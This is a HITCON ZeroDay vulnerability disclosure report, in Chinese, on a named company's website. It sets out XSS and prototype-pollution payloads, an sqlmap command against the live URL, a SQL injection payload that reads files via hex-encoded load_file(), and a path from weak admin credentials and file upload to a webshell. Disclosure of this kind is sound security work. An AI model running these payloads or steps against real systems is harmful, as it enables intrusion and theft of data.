炎洲集團 網站存在 XSS to 原型汙染 與 SQL injection to LFI and to RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00534
  •  發信 Vendor: 炎洲集團
  • Title: 炎洲集團 網站存在 XSS to 原型汙染 與 SQL injection to LFI and to RCE
  • Introduction: 網站存在 XSS 與 SQL injection to LFI and RCE

處理狀態

目前狀態

公開
Last Update : 2022/09/25
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2022/07/26 06:10:03 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/26 06:13:34 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/26 06:14:08 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/26 14:41:51 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/26 14:42:28 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/26 14:42:58 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/26 14:43:50 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/26 18:39:50 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/27 05:39:15 : 新提交 (由 BTtea 更新此狀態)
  • 2022/07/27 12:23:16 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/08/01 16:51:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/08/01 16:51:24 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/08/01 16:51:24 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/09/25 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00534
  • 通報者:blacktea_player (BTtea)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.ycgroup.tw/search.php

http://www.ycgroup.tw/news.php

敘述

使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇 y )

http://www.ycgroup.tw/search.php?key_word=1
GET 參數 key_word 存在 XSS,並且因 jquery 版本過低可造成原型汙染

xss payload : "><script>alert(document.cookie)</script>

xss to 原型汙染 PoC payload : "><script>$.extend(true,{},JSON.parse('{"__proto__":{"z":123'));alert(z);</script>

圖片

http://www.ycgroup.tw/news.php?year_type=2022
GET 參數 year_type 存在 SQL injection to LFI and RCE
圖片
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "http://www.ycgroup.tw/news.php?year_type=2022" --batch --dbs

  • SQL injection to LFI
    利用 load_file() 函數來讀取檔案,由於直接 load_file('C:\windows\win.ini') 讀不到,所以直接將 C:\windows\win.ini 轉成 hex 後改成 load_file(0x433a5c77696e646f77735c77696e2e696e69) 後即可讀取

    SQL injection to LFI payload : ' union select 1,2,load_file(0x433a5c77696e646f77735c77696e2e696e69),4,5,6,7,8,9,10,11,12,13-- -

    圖片

  • SQL injection to RCE
    透過 SQL injection 拿到後台帳密之後,可以發現是弱密碼
    http://www.ycgroup.tw/system 登入之後發現只要是能上傳檔案或圖片的地方,皆存在任意上傳檔案,並且只要能接收 GET 或者 POST 參數的後端管理頁面,皆存在 XSS 與 SQL injection
    透過上傳功能獲取 webshell
    圖片

無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
http://www.ycgroup.tw/cgi-bin/printenv.pl (環境變數洩漏)
http://www.ycgroup.tw/index.php/login/
http://www.ycgroup.tw/phpinfo.php (phpinfo 資訊)
http://www.ycgroup.tw/system (後台)
http://www.ycgroup.tw/upload

ps. 測試完畢後已將後門刪除

修補建議

在測試期間,發現資料庫用戶權限設置過大,是 root,建議降低權限

更新 jquery 至最新版本

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;